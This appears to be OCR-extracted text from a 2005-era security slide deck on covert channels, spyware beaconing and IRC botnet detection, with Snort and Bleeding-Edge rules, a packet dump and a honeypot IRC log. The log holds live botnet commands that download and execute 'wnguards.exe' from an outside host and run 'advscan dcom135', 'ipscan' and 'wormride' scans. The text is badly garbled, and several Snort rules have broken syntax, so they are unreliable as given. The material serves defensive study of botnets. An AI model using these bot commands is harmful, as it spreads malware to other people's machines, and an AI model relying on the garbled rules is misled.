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Covert Channel
http://www.todo.gr.jp/~wakatono/cakeoff20050528_CovertChannel.pdf
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o SoftEther Winny Skype
o Covert Channel

An Analysis of the Skype Peer-to-Peer Internet Telephony Protocol
http://arxiv.org/ftp/cs/papers/0412/0412017.pdf







HTTP

SMTP

HTTP

HTTP Tunnel
a HTTP

oHTTP (80/tcp)
Firewall
TCP

HTTP Tunnel Corporation
http://iwww.http-tunnel.com/html/solutions/overview.asp
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SMTP

= MProxy

o SMTP
TCP

C/C++
http://www.silversoft.net/projects.html

‘mproxy

SMTP

—_— e A SMTP

oot N s

/
https://www.7th-angel.net/seculog/media/1/20050329-OSC2005-Tunnel.pdf
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Comet Systems Comet Cursor
[

http://www.symantec.com/region/jp/avcenter/venc/data/jp-spyware.cometcursor.html
http://www.shareedge.com/spywareguide/product_show.php?id=428
http://www.accs-net.com/smallfish/comet.htm

Comet Cursor

POST /dss/cc.2_ 0 Olog u HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: log.cc.cometsystems.com

Content-Length: 299

Connection: Keep-Alive

Cache-Control: no—cache
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= Skype
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Q IRC

Snort

a
o /
o 1998 MartinRoesh
a Snort-2.4.3
) SourceFire CheckPoint
Snort Sniff

Snort - the de facto standard for intrusion detection/prevention
http://www.snort.org
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Snort+BleedingEdge Snort Rules
a Snort

Q

o FalsePositive

Bleeding-Edge Snort
http://www.bleedingsnort.com/

BleedingEdge

# IRC Trojan Reporting

#

# By Erik Fichtner

#

# Bleeding-Remix :: irc / ircbot detection state machine
# compiled from various sources.

# thanks to: Joe Stewart of LURHO, Joel Esler, Tomfi.

alert tcp any any -> any any (msg: "BLEEDING-EDGE TROJAN IRC USER command"; flow:
to_server,established; content:"USER|20|"; nocase; offset: O;
content:"|203a|"; within: 40; content:"|0a|"; within: 40; flowbits:noalert;
flowbits: set,irc.user; classtype: misc-activity; sid: 2002023; rev:7; )

alert tcp any any -> any any (msg: "BLEEDING-EDGE TROJAN IRC NICK command"; flow:
to_server,established; content:"NICK|20|"; nocase; offset: 0; content:"|0al";
within: 40; flowbits:noalert; flowbits: set,irc.nick; classtype: misc-activity;
sid: 2002024; rev:7; )

alert tcp any any -> any any (msg: "BLEEDING-EDGE TROJAN IRC JOIN command";
flowbits:isset,irc.nick; flow:to_server,established; content:"JOIN|2023|";
nocase; offset: 0; content:"|0a["; within: 40; flowbits:noalert; flowbits:
set,irc).join; flowbits:set,is_proto_irc; classtype: misc-activity; sid: 2002025;
rev:6;

alert tcp any any -> any any (msg: "BLEEDING-EDGE TROJAN IRC PRIVMSG command";
flowbits:isnotset,is_proto_irc; flowbits:isset,irc.join; flowbits:isset,irc.user;
flow: established; content:"PRIVMSG]|203al"; flowbits: noalert;
flowbits:set,is_proto_irc; classtype: misc-activity; sid: 2002026; rev:7;)
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Covert Channel

CovertChannel

aSoftEther

alert tcp any any -> any 7777: (
msg:" Softether connection 7777";
content:" SoftEther Protocol"; depth: 60; )

alert icmp any any -> any any (
msg:" Softether connection SSL";
itype:8; content:"SoftEther Keep-Alive Packet"; nocase;
within:54; )

Covert Channel

HTTP CoverteChannel
GET
GET /member/indexhtml HTTP/1.1

<HTML><HEAD>

<META name="description” content="0FA6779E41 ">
</HEAD>

<BODY>
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‘ Covert Channel

<META name="“description” content="0FA6779E41

= META

= HTTP

n>

‘ Covert Channel

n CovertChannle

n Covert Channel
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SpyWare

Comet Cursor

POST /dss/cc.2_ 0 Olog u HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: log.cc.cometsystems.com

Content-Length: 299

Connection: Keep-Alive

Cache-Control: no—cache

.CSCMp........ ESj~.>..1.gGG.+#.. 0...8N.sM.._.aWj.0..Gj.D.9;.Y.". RGX. v.-L...

*?.a8.aV.?RU.. ie. k.eT...3.—-
.G*GS..W-zM.[......0..V......Q. 2. MY~ WY QL F

w=di v {30 Y] 220D,

SpyWare

Comet Cousor

alert tcp $HOME_NET any —> $EXTERNAL _NET $HTTP_PORTS (
msg: "BLEEDING-EDGE Malware Comet Systems Spyware Reporting"
flow: to_server,established;

content:"Host¥: log.cc.cometsystems.com’, nocase;

classtype: policy-violation; sid: 2001658; rev:3;)
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SpyWare

CovertChannel

BleedingEdge-Snort

alert tcp any any -> $SHOME_NET any (
msg:"BLEEDING-EDGE RXBOT / RBOT Vulnerability Scan™;
content:"|2E[|advscan|20|"; nocase; classtype: trojan-activity;
reference:url,www.nitroguard.com/rxbot.html;
reference:url,www.trendmicro.com/vinfo/virusencyclo/default5.asp
?VName=WORM_RBOT.GL;
reference:url,www.muzzleflash.org/readarticle.php?article_id=5
#scanning; flow:established; sid:2001184; rev: 2;)
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1D # Triggered
Meta
4 - 391901 |2005-10-19 08:26:54 | BLEEDING-EDGE RXBOT / RBOT Vulnerability Scan
source addr dest addr Ver Eg; TOS |length | 1D flags |offset TTL |chksum
IP [161.221.212.58 |xxX.XXX.XXX.XXX |4 5 o 377 46885 |0 (o] 106 |27736
=
ns none
AlP F
source |dest R |R = d
port port 10 R E ﬁ S|Y |l seq # ack offset |res |window |urp |chk:
TCP
5555 46905 X |X 320872387 (4773272 |5 o 17274 |0 133+
—
‘lOptions | rnone
length = 337
000 :- 3A 58 58 58 58 7C 31 39 37 30 21 4A 55 4C 49 41 IXXXX]19701JULIA
010 - 4E 53 2D 4C 41 40 72 65 73 65 61 72 63 68 2D 33 NS-LA@research-3
020 : 37 36 32 33 30 38 46 2E 67 73 63 2E 72 69 6B 65 762308F . XXX . XXXX
030 : 6E 2E 67 6F 2E 6A 70 20 4A 4F 49 4E 20 3A 23 6C X.xx.jp JOIN :#1
040 - 33 33 74 6E 33 73 73 OD OA 3A 69 72 63 2E 72 65 33tn3ss..:irc.re
050 : 73 65 61 72 63 68 2D 33 30 2E 6E 65 74 20 33 33 search-30.net 33
060 : 32 20 58 58 58 58 7C 31 39 37 30 20 23 6C 33 33 2 XXXX]1970 #0133
070 = 74 6E 33 73 73 20 3A 2E 61 64 76 73 63 61 6E 20 tn3ss :.advscan
Payload 080 :- 64 63 6F 6D 31 33 35 20 31 30 30 20 35 20 30 20 dcom135 100 5 0O
090 - 2D 62 20 2D 73 OD OA 3A 69 72 63 2E 72 65 73 65 -b -s.__:irc.rese
0a0 - 61 72 63 68 2D 33 30 2E 6E 65 74 20 33 33 33 20 arch-30.net 333
ObO : 58 58 58 58 7C 31 39 37 30 20 23 6C 33 33 74 6E XXXX[1970 #133tn
0cO - 33 73 73 20 66 20 31 31 32 39 33 30 34 39 35 38 3ss f 1129304958
0dO - OD OA 3A 69 72 63 2E 72 65 73 65 61 72 63 68 2D ..:irc.research-
0e0 : 33 30 2E 6E 65 74 20 33 35 33 20 58 58 58 58 7C 30.net 353 XXXX|
Of0 - 31 39 37 30 20 40 20 23 6C 33 33 74 6E 33 73 73 1970 @ #133tn3ss
100 : 20 3A 58 58 58 58 7C 31 39 37 30 20 OD OA 3A 69 IXXXX]1970 ..:i
110 : 72 63 2E 72 65 73 65 61 72 63 68 2D 33 30 2E 6E rc.research-30.n
120 : 65 74 20 33 36 36 20 58 58 58 58 7C 31 39 37 30 et 366 XXXX|1970
130 : 20 23 6C 33 33 74 6E 33 73 73 20 3A 45 6E 64 20 #133tn3ss :End
140 : 6F 66 20 2F 4E 41 4D 45 53 20 6C 69 73 74 2E 0D of /NAMES Tist..
150 : OA -

USER 4isf0 4isf0 4isf0 :SYSTEM

NICK [x]lgRkpiH

:hub.41090.com 001 [x]IqRkpiH :pirates, [x]IgRkpiH!4isfO@decoy.snort.gr.jp

:hub.41090.com 005 [x]lgRkpiH MAP KNOCK SAFELIST HCN MAXCHANNELS=10 MAXBANS=60 NICKLEN=30
TOPICLEN=307 KICKLEN=307 MAXTARGETS=15 AWAYLEN=307 :are
supported by this server

:hub.41090.com 005 [x]IgRkpiH WALLCHOPS WATCH=128 SILENCE=15 MODES=12 CHANTYPES=#
PREFIX=(qaohv)~&@%+
CHANMODES=be kfL,l|,psmntirRcCOAQKVGCuzNSMT NETWORK=pirates
CASEMAPPING=ascii EXTBAN=~,cqr :are supported by this server

:[x]IgRkpiH MODE [x]IqRkpiH :+i

MODE [x]IgRKpiH +xi

JOIN #hotgirls

:[x]lgRkpiH!4isfo@decoy.snort.gr.jp JOIN :#hotgirls

:hub.41090.com 332 [x]IqRkpiH #hotgirls :* download http://www.home.no/chirir0za/wnguards.exe -e
-s ][ *ipscan i.i.i.i mssqgl2000 -s ][ * wormride -s -t

:hub.41090.com 333 [x]IqRkpiH #hotgirls luffy 1122366821

:hub.41090.com 353 [x]IgRkpiH @ #hotgirls :[x]IgRkpiH

:hub.41090.com 366 [x]IqRkpiH #hotgirls :End of /NAMES list.

MODE #hotgirls +smntu

:hub.41090.com 482 [x]IqRkpiH #hotgirls :You're not channel operator
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IRC

IP
Exploit

IRC

DNS

Know your Enemy:Tracking Botnets
http://www.honeynet.org/papers/bots/
http://www.vogue.is.uec.ac.jp/honeynet/papers/bot.html
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BleedingEdge

22



= Covert Channel

n p2pP

23



24



o o o o

25



DNS: H
PUT /hoge.cgi?124t

|

SMTP:
EHLO mail.hoge.com

ﬁj:;. K m@%}@

SMTP EHLO RCPT TO:
IRC JOIN PRIVMSG
DNS A

TELNET

MX
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Snort

#

# SMTP Protocol Section

#

alert tcp SHOME_NET any -> $EXTERNAL_NET 25 (msg:""SMTP EHLO outbound"; content:""EHLO""; offset:0; dept
flow:established,to_server; classtype smtp-| protocol sid: 10200 rev:0; Bl

alert tcp SHOME_NET any -> $SEXTERNAL_NET 25 (msg ""SMTP RCPT TO outbcund content:"RCPT TO! offset:

ow:established,to_server; :smtp-protocol; sid: 210201; rev:0
alert tcp SHOME_NET any -> $SEXTERNAL_NET 25 (msg. *'SMTP MAIL FROM outbound™; content:"MAIL FROM¥:

ffset:0; depth:10;
flow:established,to_server; classtype:smtp»protocol; sid:210202; rev:0;)

alert tcp SEXTERNAL_NET any -> $HOME_NET 25 (msg:""SMTP EHLO inbound"*; content:"EHLO"; offset:0; depth:4;
flow:established,to_server; classtype smtp-| protocol sid:210203; re 0;)

alert tcp SEXTERNAL_NET any -> $SHOME_NET 25 (msg:""SMTP RCPT inbound™; content:"RCPT TO¥:"; offset:0; depth:8;
flow:established,to_server; classtype'smtp protocol; sid:210204; rev 0)

alert tcp SEXTERNAL_NET any -> $HOME_NET 25 (msg:"SMTP MAIL FROM inboun
flow:established,to_server; classtype:smtp-protocol; sid:210205; re 0;)

#
# DNS Protocol Section
#

alert udp $HOME_NET any -> $SEXTERNAL_NET 53 (msg:""DNS TRAFFIC outbound"'; classtype:dns-protocol; sid:210300; rev:0;)

alert udp SEXTERNAL_NET any -> $HOME_NET 53 (msg:""DNS TRAFFIC inbound"; classtype:dns-protocol; sid:210301; rev:0;)

alert udp $HOME_NET any -> $SEXTERNAL_NET 53 (msg:""DNS REQUEST MX outbound"*; content:*|00|"; offset:13; content:™|000f|";
distance:0; classtype:dns-protocol; 210302; re 0;)

alert udp $SEXTERNAL_NET any -> $HOME_NET 53 (msg:""DNS REQUEST MX inbound"; content:"'|00|""; offset:13; content:"'|000f|""; distance:0;
classtype:dns-proocol; sid:210303; rev:0; )
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SMTP
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What is malware ?

o http://www.webopedia.com/TERM/M/malware. html

WIKIPEDIA Malware

o http://enwikipedia.org/wiki/Malware

Covert Channel

=]

o http:.//www.todo.gr.jp/-wakatono/cakeoff20050528_CovertChannel.pdf
/

o https:.//www.7th-angel.net/seculog/media/1/20050329-0SC2005-Tunnel.pdf

C/C++

o http://www.silversoft.net/projects.html

Know your Enemy:Tracking Botnets

o http://www.honeynet.org/papers/bots/

o http://www.vogue.is.uec.ac.jp/honeynet/papers/bot.html

An Analysis of the Skype Peer-to-Peer Internet Telephony Protocol

o http://arxiv.org/ftp/cs/papers/0412/0412017 pdf

Winny.info

o http://winny.info/nodelink.html

Winny

a ISBN: 4756145485 (2005/10)
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